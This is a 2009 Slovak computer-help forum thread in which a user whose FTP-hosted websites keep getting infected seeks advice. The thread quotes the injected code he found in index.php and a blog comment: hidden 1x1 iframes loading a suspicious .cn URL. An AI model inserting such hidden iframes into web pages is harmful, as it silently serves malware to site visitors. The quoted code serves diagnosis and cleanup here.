uz neviem ci robit ...

dulius · Napísal **dulius**: 14.01.2009 19:35

mam ESET, ziadne chyby nevypisuje, ale posledny tyzden su vsetko moje konta nakazene, takze evidentne ide virus z mojho PC cez ftp

pisal som o priklade aj tu: http://www.pcforum.sk/phpbb-forum-zeby- ... 56576.html

co s tym????

pomoze reinstall notebooku? nahram novy system, ale co dalej? zalohoval som si data, ale ten virus moze byt v tych zalohach ...

dakujem za kazdu radu ...

To0X · Napísal **To0X**: 14.01.2009 19:51

reinstall alebo obnovenie systemu.

dulius · Napísal autor témy **dulius**: 14.01.2009 19:55

tomas3 píše:

reinstall alebo obnovenie systemu.

ale ved som o tom pisal .. a co mi to pomoze? ked virus moze byt hocikde, v tych suboroch, co mam zalohu z webu veci

Skorpikon · Napísal **Skorpikon**: 14.01.2009 19:57

skús si prezrieť obsahy priečinkov RECYCLER na všetkych svojich diskoch. Je to skrytý systémový priečinok. Možno sa ti podari tam nájsť nejaký vírus.

dulius · Napísal autor témy **dulius**: 14.01.2009 19:59

Skorpikon píše:

skús si prezrieť obsahy priečinkov RECYCLER na všetkych svojich diskoch. Je to skrytý systémový priečinok. Možno sa ti podari tam nájsť nejaký vírus.

ako pozriet? nejakym programom, ci rucne? ako to myslis?

Skorpikon · Napísal **Skorpikon**: 14.01.2009 20:00

Iba ručne

dulius · Napísal autor témy **dulius**: 14.01.2009 20:00

Skorpikon píše:

nie len ručne.

neviem teraz vobec, ako sa hlada rucne virus ...

Skorpikon · Napísal **Skorpikon**: 14.01.2009 20:06

skrátka, si cez total comander, alebo cez tento počítač otvor priečinok RECYCLER. Tam budeš mať X ďalších priečinkov s ikonou ako má kôš. Každý jeden otvor. V každom by mali byť len dva súbory. A to INFO 2 a desktop.ini
Všetko ine môžeš vymazať.
Ak maš nejakeho trojana, tak môže byť práve v týchto priečinkoch.
Ak je to nejaky lepší trojan tak sa nebude dať z toho priečinku odstrániť obyčajným delete. Potom ti može pomocť jeden dobry soft a to UNLOCKER

dulius · Napísal autor témy **dulius**: 14.01.2009 20:09

dakujem, skusim, myslis tento? : http://www.softpedia.com/get/System/Sys ... cker.shtml

Skorpikon · Napísal **Skorpikon**: 14.01.2009 20:12

Ano. Ono zvykne, pri mazani suboru vyhodiť niečo take že nemáš právo vykonať takúto operáciu. A cez ten unlocker to vieš odblokovať a následne odstrániť.
Po prečistení tých RECYCLER priečinkov ešte pre istotu nezabudni vysipať kôš.

dulius · Napísal autor témy **dulius**: 14.01.2009 20:17

vsetko ako si pisal som vymazal, v tom recycler ... mal som tam 3 priecinky a vsetko vymazat slo v pohode ...

Skorpikon · Napísal **Skorpikon**: 14.01.2009 20:22

a ešte máš ten problém s vírom???

dulius · Napísal autor témy **dulius**: 14.01.2009 20:22

no to neviem ...
teraz sa radsej na ziadne ftp nenapajam, aby som nenarobil este viac skody ako osohu, chapes ...

dulius · Napísal autor témy **dulius**: 14.01.2009 20:27

teraz som rucne odstranil cez webFTP ten kod, ktory robi sarapatu ... na webe spojmesaprehokej.sk to bolo ...

hodilo to na phpbb forum, do index.php suboru, uplne nakoniec, nasiel so tam toto:

Kód:

?<html><body><iframe src="http://litedownloadseek.cn/in.cgi?cocacola17" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litedownloadseek.cn/in.cgi?cocacola15" width=1 height=1 style="visibility: hidden"></iframe></body></html>>

Skorpikon · Napísal **Skorpikon**: 14.01.2009 20:29

chapem ale keď antivirak nehádzal žiadne hlášky pred tým tak ti ich nebude hádzať ani teraz. Čiže nezistíš či sa problém vyriešil, alebo ešte naďalej pretrváva. Keby si sa pripojil na server kde máš tú stranku čo si opisoval v inom príspevku a zmazal by si to čo ti tam pribudlo. Ak to robí nejaký stroj, tak sa to tam opäť dopíše. A zrejme sa po pripojení na server vírus zasa skopíruje do tvojho compu. A potom možeš prezrieť zasa tie RECYCLER a zistiš na čom si. Či je to vírus, alebo ťa niekto hackol.
To je len taký nápad.

dulius · Napísal autor témy **dulius**: 14.01.2009 20:32

Skorpikon píše:

chapem ale keď antivirak nehádzal žiadne hlášky pred tým tak ti ich nebude hádzať ani teraz. Čiže nezistíš či sa problém vyriešil, alebo ešte naďalej pretrváva. Keby si sa pripojil na server kde máš tú stranku čo si opisoval v inom príspevku a zmazal by si to čo ti tam pribudlo. Ak to robí nejaký stroj, tak sa to tam opäť dopíše. A zrejme sa po pripojení na server vírus zasa skopíruje do tvojho compu. A potom možeš prezrieť zasa tie RECYCLER a zistiš na čom si. Či je to vírus, alebo ťa niekto hackol.
To je len taký nápad.

urcite ma niekto nehakol, toto by bol extrem ... mozno kebyze na jednom webe, to by bolo oki, ale je to na viacerych ftp, kde mam rozne konta a podobne .. bude to virus ... niektore stranky mi uz google zablokoval, no riesim to ... zatial sa na tie ftp nebudem pripajat cez total comander, len cez web ftp, to by malo byt bezpecne ... podla mna v tom recycler nic nenajdem ...

dulius · Napísal autor témy **dulius**: 14.01.2009 20:58

pridavam zaujimavy poznatok: spustil som Ad Aware 2008 a pocitac sa mi restartoval ... po restarte som to zopakoval a zase ... no daco nebude s kostolnym poriadkom ... ten virus asi nechce aby ho ad aware nasiel

Skorpikon · Napísal **Skorpikon**: 14.01.2009 21:28

skús si hodiť do google tu dinu adresu co ti pridava do kodu. Najdeš nejake fora kde sa to trochu rozobera. Možno ti niečo z toho pomože.
odporučam si prezrtieť hlavne http://asert.arbornetworks.com/2009/01/ ... loitation/

dulius · Napísal autor témy **dulius**: 15.01.2009 7:58

Skorpikon píše:

skús si hodiť do google tu dinu adresu co ti pridava do kodu. Najdeš nejake fora kde sa to trochu rozobera. Možno ti niečo z toho pomože.
odporučam si prezrtieť hlavne http://asert.arbornetworks.com/2009/01/ ... loitation/

na tej adrese presne o tom pisu ...

Kód:

Comment Post by: Bachi — January 7th, 2009 @ 8:33 am EST  Reply

We’ve experienced a lot of these attacks recently (most of them this morning). Via hacked ftp accounts all index.* files of at least 12 domains were infected with:

right after the tag.

Kód:

Comment Post by: Bachi — January 7th, 2009 @ 8:35 am EST  Reply

{iframe src=”http://litedownloadseek.cn/in.cgi?cocacola3″ width=1 height=1 style=”visibility: hidden”}
{/iframe} (replaced >< with }{)

no ale nevidim tam riesenie ...

dulius · Napísal autor témy **dulius**: 15.01.2009 19:12

moznosa nieco pohlo ... dnes som spustil PC, windows mi tam instaloval nejake aktualizacie a ked som restartoval, nabehlo toto:

uz neviem ci robit ...

Podobné témy